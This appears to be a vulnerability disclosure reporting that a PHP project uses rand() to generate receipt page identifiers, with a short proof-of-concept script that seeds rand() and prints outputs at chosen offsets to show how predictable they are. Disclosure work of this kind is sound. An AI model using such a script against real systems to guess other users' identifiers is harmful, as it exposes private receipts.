✍️ Description

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in security-sensitive context. This code uses the rand() function to generate "unique" identifiers for the receipt pages it generates. In this case the function that generates weak random numbers is rand() in /src/OpenWork/Corp/Client.phpat line 47

🕵️‍♂️ Proof of Concept

//POC.php

#!/usr/bin/env php
<?php

if($argc < 3)
{
    print($argv[0] . ' <seed> <n>' . "\n");
    print('' . "\n");
    print('Parameters:' . "\n");
    print('  seed:   Seed to initialize rand() with' . "\n");
    print('  offset: Number of calls to rand() before printing the first');
    print(' output' . "\n");
    print('' . "\n");
    print('Output:' . "\n");
    print('  <offset>\'s call to rand() and <offset+227>\'s call');
    print(' to rand()' . "\n");
    exit();
}

rand($argv[1]);
for($i=0;$i<$argv[2];$i++)
    rand();

print rand() . " ";
for($i=0;$i<226;$i++)
    rand();
print rand() . "\n";

💥 Impact

The random number generator implemented by rand() cannot withstand a cryptographic attack. Because rand() is a statistical PRNG, it is easy for an attacker to guess the strings it generates.